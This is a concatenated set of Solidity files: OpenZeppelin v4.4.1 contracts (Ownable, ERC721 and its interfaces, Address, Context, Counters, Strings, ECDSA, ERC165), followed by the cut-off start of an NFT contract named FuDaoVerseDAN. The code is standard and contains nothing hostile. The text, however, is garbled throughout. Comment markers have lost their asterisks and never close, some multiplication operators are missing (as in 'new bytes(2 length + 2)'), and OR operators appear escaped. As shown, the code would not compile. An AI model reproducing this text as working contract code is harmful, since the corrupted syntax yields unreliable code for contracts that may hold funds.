function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. / library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ / function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. / function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /* * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ / function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /* * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ / function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /* * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ / function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /* * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. / function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /* * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. / function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /* * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. / function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /* * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. / function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract FuDaoVerseDAN is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; using ECDSA for bytes32; //NFT params string public baseURI; bool public 